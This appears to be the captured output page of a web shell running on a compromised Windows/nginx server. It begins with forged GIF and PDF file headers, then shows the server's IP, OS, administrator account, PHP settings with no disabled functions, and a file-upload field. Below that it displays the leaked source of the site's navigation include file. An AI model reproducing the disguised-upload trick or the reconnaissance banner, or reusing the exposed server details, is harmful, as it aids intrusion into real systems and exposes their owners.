GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/common/ |
Upload File : |
<? // /common/topMenu.phpinc debugTrackBegin(); // Home - Show the Home link. ?> <? if ($_SERVER['PHP_SELF'] == '/index.php') { ?> <span class="currentpage">Home</span><? } else { ?><a href="/">Home</a><? } // Logout - Show the Logout link. if (isset($_SESSION['userId']) && $_SESSION['userId'] != '') { ?> | <? ?><a href="?Logout">Logout</a><? } // Search for and display any topMenu.phpinc files on the path. $menuFolders = explode("/",$_SERVER['PHP_SELF']); #printVar('$menuFolders',$menuFolders); $thisFile = str_replace('\\','/',__FILE__); #printVar('$thisFile',$thisFile); /**/ $menuFolderCount = count($menuFolders)-1; $menuFolder = str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']); #printVar('$menuFolder',$menuFolder); for ($i=0; $i<$menuFolderCount; $i++) { $menuFolder .= str_replace('\\','/',$menuFolders[$i]).'/'; #printVar('$menuFolder',$menuFolder); $menuFile = $menuFolder.'topMenu.phpinc'; #printVar('$menuFile',$menuFile); if ($menuFile != $thisFile) { #if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) printVar('$menuFile',$menuFile); if (file_exists($menuFile) && $menuFile != str_replace("\\","/",__FILE__)) { // The test $menuFile != str_replace("\\","/",__FILE__) stops the script from loading itself. echo "\n <br>"; #if ( isset($_SESSION['userId']) && $_SESSION['userId'] == 1 ) printLine("$menuFile found."); require($menuFile); #printVar('$f_courseId',$f_courseId); } else { #printLine("$menuFile does not exist."); } } } /**/ // Display any pageMenu files on the path. #if (dc()) printVar('$pageMenu',$pageMenu); #printVar('$pageMenu',$pageMenu); /**/ if (isset($pageMenu)) { // Display the pageMenu $pageMenuArray = explode(';',$pageMenu); #if (dc()) printVar('$pageMenuArray',$pageMenuArray); foreach ($pageMenuArray as $$pageMenu) { $pageMenu = $_SERVER['DOCUMENT_ROOT'].'/'.$pageMenu; #if (dc()) printVar('$pageMenu',$pageMenu); if (file_exists($pageMenu)) { echo "<br>\n"; #printVar('$pageMenu',$pageMenu); require($pageMenu); #printVar('$f_courseId',$f_courseId); } } } else { #if (dc()) echo "<br>\$pageMenu is not set.<br>\n"; } /**/ ?> <? debugTrackEnd(); ?>